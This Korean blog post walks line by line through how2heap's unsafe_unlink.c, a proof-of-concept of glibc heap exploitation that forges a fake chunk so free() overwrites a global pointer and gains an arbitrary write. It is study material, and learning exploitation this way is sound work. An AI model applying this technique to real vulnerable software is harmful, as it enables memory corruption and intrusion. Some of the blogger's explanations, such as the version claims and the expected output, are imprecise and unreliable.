[Hacking] / [Pwnable - How2Heap] Heap exploitation : unsafe_unlink.c

2025. 5. 12. 12:50Hacking/Pwnable

ctf 팀원들에게 고수와 염소짤 그만보내고 공부를 하도록 하자..


원문 링크 : https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file

 

GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.

A repository for learning various heap exploitation techniques. - shellphish/how2heap

github.com

 


unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 20.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
	chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
	free(chunk1_ptr);

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

전문 코드는 위와 같다.

uint64_t *chunk0_ptr;

int main()
{
	setbuf(stdout, NULL);
	printf("Welcome to unsafe unlink 2.0!\n");
	printf("Tested in Ubuntu 20.04 64bit.\n");
	printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
	printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

	int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
	int header_size = 2;

	printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");
uint64_t *chunk0_ptr;

-> 전역 포인터 변수 : 이 포인터를 나중에 공격을 통해 덮어쓰는 것이 목표임

-> 공격이 성공하면 이 포인터가 원하는 주소를 가리키게 할 수 있음

setbuf(stdout, NULL);

 

- stdout 버퍼링을 비활성화해, printf() 출력이 즉시 화면에 나타나도록 설정함

-> 디버깅용 메시지가 바로 나오도록 하기 위한 설정임

 

printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 20.04 64bit.\n");
printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

 

-> 기법 설명 출력 : unsafe unlink은 free()에서 unlink()가 실행되는 조건을 만족하게 하여, fd, bk 포인터 조작을 통해 임의의 쓰기를 유도하는 해킹 기법임

-> 주로 힙 버퍼 overflow로 조작하고 전역 포인터를 덮어써서 원하는 곳을 가리키게 할 수 있음

int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin

 

-> malloc_size를 0x420으로 설정한 이유는 다음과 같다.

-> 이 크기의 chunk는 tcache(최대 0x408까지)나 fastbin(최대 0x80까지)에 들어가지 않음

=> free() 시 unsorted bin으로 들어가게 하여 unlink()가 호출되도록 유도합니다.

- unsafe unlink은 tcache나 fastbin에서는 동작하지 않음

 

int header_size = 2;

- header_size는 이후 offset 계산용일 수 있지만, 현재까지는 사용되지 않았습니다.

- 일반적으로는 chunk 헤더(앞쪽 prev_size, size) 공간을 고려한 오프셋 계산용입니다.

 

 

printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

 

목표: free()에서 unlink()가 실행될 때, fd, bk 값을 조작하여 chunk0_ptr의 값을 공격자가 원하는 주소로 덮어쓰기 하게 만드는 것.

	chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
	uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
	printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
	printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

 

chunk0_ptr = (uint64_t*) malloc(malloc_size); // chunk0

- 전역 변수 chunk0_ptr에 malloc(0x420)으로 힙 메모리를 할당.

- 이 chunk는 free 할 대상이 아니라, 조작 대상입니다.

- 후에 이 포인터가 공격자 의도대로 임의 주소를 가리키게 되면 성공.

uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); // chunk1

 

- 두 번째 힙 chunk 할당.

- 이 chunk가 unlink를 유도하기 위해 fake chunk의 victim이 될 chunk입니다.

- free() 시 이 청크에 세팅된 fd, bk 포인터들이 해제되면서 메모리를 조작하는 데 사용됩니다.

printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

 

- chunk0_ptr라는 전역 변수의 주소가 0x404050이다.

- 현재 chunk0_ptr는 malloc()을 통해 할당된 힙 메모리 주소 0x603000을 가리키고 있음.

	printf("We create a fake chunk inside chunk0.\n");
	printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
	chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
	printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
	chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
	printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
	printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
	chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
	printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
	printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
printf("We create a fake chunk inside chunk0.\n");

 

-> chunk0_ptr 내부에 Fake Chunk를 만든다는 뜻입니다.

-> 즉, 기존에 malloc한 chunk0의 사용자 데이터 영역 일부를 fake chunk로 조작하는 겁니다.

printf("We setup the size of our fake chunk so that we can bypass the check introduced in ...\n");
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;

- fake chunk의 size 필드를 설정하는 부분입니다.

- chunk0_ptr[-1]는 chunk0의 청크 헤더의 size 필드 (즉, prev_size, size) 중 size입니다.

- 이 size에서 0x10을 빼면 fake chunk가 “이전 청크보다 작다”고 보이게 되고, 이후 unlink 검사를 통과할 수 있습니다.

- 이건 glibc 2.29 미만에서 존재하던 취약점을 활용하기 위한 것.

chunk0_ptr[2] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t) * 3);

 

- fake chunk의 fd 필드를 설정

- fd = &chunk0_ptr - 3인 이유는,

=> unlink()는 fd->bk = P를 실행함 → 이때 fd의 bk 필드가 정확히 P를 가리켜야 함

=> 따라서 fd->bk = P가 성립되도록 fd를 조작

- 여기서 P는 fake chunk의 주소이고, &chunk0_ptr - 3은 P로부터 거슬러 올라간 적절한 주소임

- 즉, fd가 chunk0_ptr 주변을 가리켜야 fd->bk = P가 성립

chunk0_ptr[3] = (uint64_t) &chunk0_ptr - (sizeof(uint64_t) * 2);

 

- fake chunk의 bk 필드를 설정

- bk->fd = P가 성립되도록 bk를 조작

- 마찬가지로 bk도 &chunk0_ptr 근처를 가리키도록 하여 unlink의 보호 검사를 통과시키는 셈

printf("Fake chunk fd: %p\n", (void*) chunk0_ptr[2]);
printf("Fake chunk bk: %p\n\n", (void*) chunk0_ptr[3]);

 

- 조작된 fake chunk의 fd, bk 값을 확인하는 출력

	printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
	uint64_t *chunk1_hdr = chunk1_ptr - header_size;
	printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
	printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
	chunk1_hdr[0] = malloc_size;
	printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
	printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
	chunk1_hdr[1] &= ~1;
uint64_t *chunk1_hdr = chunk1_ptr - header_size;

 

- chunk는 일반적으로 header_size = 2 (prev_size, size 필드 각각 8바이트)라고 보면 된다.

=> chunk1_hdr는 chunk1의 메타데이터(header) 위치를 가리킵니다.

chunk1_hdr[0] = malloc_size;

- chunk1의 prev_size 필드를 fake로 설정한다. 

=> glibc는 free(chunk1) 시, prev_in_use가 꺼져있다면 이전 청크(prev_size만큼 뒤로 이동한 주소)를 free 상태로 보고 unlink()를 실행함.

=> fake chunk의 시작 주소를 chunk1 - malloc_size로 맞춰야 unlink가 fake chunk를 대상으로 수행됨.

glibc가 fake chunk를 진짜라고 믿게 만듦

chunk1_hdr[1] &= ~1;

- chunk1의 size 필드의 맨 마지막 비트는 prev_in_use 플래그임.

이 비트를 0으로 꺼주면:

-> glibc는 "앞 chunk가 free 상태다" 라고 판단

-> 이게 켜져 있으면 unlink() 자체가 안 실행됨

printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n", (void*)chunk1_hdr[0]);

 

 

- 0x430은 원래 chunk0의 size + 0x10(청크 헤더 포함) = 0x420 + 0x10임. 그런데 지금은 fake chunk를 chunk0 내부 중간에 만들었기 때문에, chunk0의 전체 크기보다 작게 조작한 것.

=> chunk0이 작다고 속이는 것이 exploit 의 핵심이 됨

	printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
	printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
	free(chunk1_ptr);

 

- 이제 chunk1_ptr을 free함으로써, glibc의 heap consolidation(병합) 과정에서, "앞 청크가 free 상태이므로 병합해야겠다!"고 판단하고, 앞의 fake chunk에 대해 unlink()를 호출

https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612

 

sourceware.org Git

 

sourceware.org

여기 접속하면 unlink 구현을 볼 수 있다.

free(chunk1_ptr);

 

-> 실제 exploit 트리거임

-> 조작된 chunk1의 메타데이터 덕분에 앞의 fake chunk에 unlink()가 호출되며 메모리 조작이 발생

	printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
	char victim_string[8];
	strcpy(victim_string,"Hello!~");
	chunk0_ptr[3] = (uint64_t) victim_string;

- 앞에서 chunk0_ptr의 값이 조작되었음 -> 이제 그 포인터를 통해 임의 주소 쓰기 가능

- 여기서는 chunk0_ptr[3]에 값을 씀 → 실제 주소는 chunk0_ptr + 3*8 = 조작된 포인터 기준 + 24

 

 

char victim_string[8];
strcpy(victim_string, "Hello!~");

 

- victim_string은 우리가 조작하고 싶은 대상

- 8바이트 크기의 버퍼에 "Hello!~"라는 문자열을 넣음

chunk0_ptr[3] = (uint64_t) victim_string;

- 이제 chunk0_ptr가 가리키는 메모리의 offset 3 위치에 victim_string의 주소를 씀

- 만약 chunk0_ptr가 &chunk0_ptr 근처로 조작되어 있다면 → 이 코드는 사실상 chunk0_ptr = victim_string 과 비슷한 효과

=> chunk0_ptr 자체의 값을 다시 한 번 바꿔서, victim_string을 가리키게 함

	printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
	printf("Original value: %s\n",victim_string);
	chunk0_ptr[0] = 0x4141414142424242LL;
	printf("New Value: %s\n",victim_string);

	// sanity check
	assert(*(long *)victim_string == 0x4141414142424242L);
}

 

 

 

printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");

 

- 이제 chunk0_ptr가 우리가 원하는 위치(victim_string)를 가리키고 있으므로 실제 메모리를 덮어씀

printf("Original value: %s\n", victim_string);

 

- 덮어쓰기 전 victim_string의 내용 출력 => "Hello!~"가 나올 것

chunk0_ptr[0] = 0x4141414142424242LL;

- 공격자가 임의로 조작한 값 0x4141414142424242를 chunk0_ptr[0] 위치에 씀

=> 이때 chunk0_ptr는 victim_string을 가리키고 있으므로 victim_string[0:8] 부분이 이 값으로 덮임

printf("New Value: %s\n", victim_string);

 

- victim_string을 출력 → 문자열로 보면 의미 없는 값이거나 깨진 출력이 될 수 있음

- 예: AAABBBB로 보일 수 있음 (0x41='A', 0x42='B')

assert(*(long *)victim_string == 0x4141414142424242L);

 

- sanity check: 정말 victim_string의 시작 주소에 우리가 넣은 값이 들어갔는지 검사

- 실패하면 프로그램이 abort됩니다 (assert 실패 시 종료)

=> 조작된 포인터를 통해 원하는 메모리에 원하는 값을 쓸 수 있음.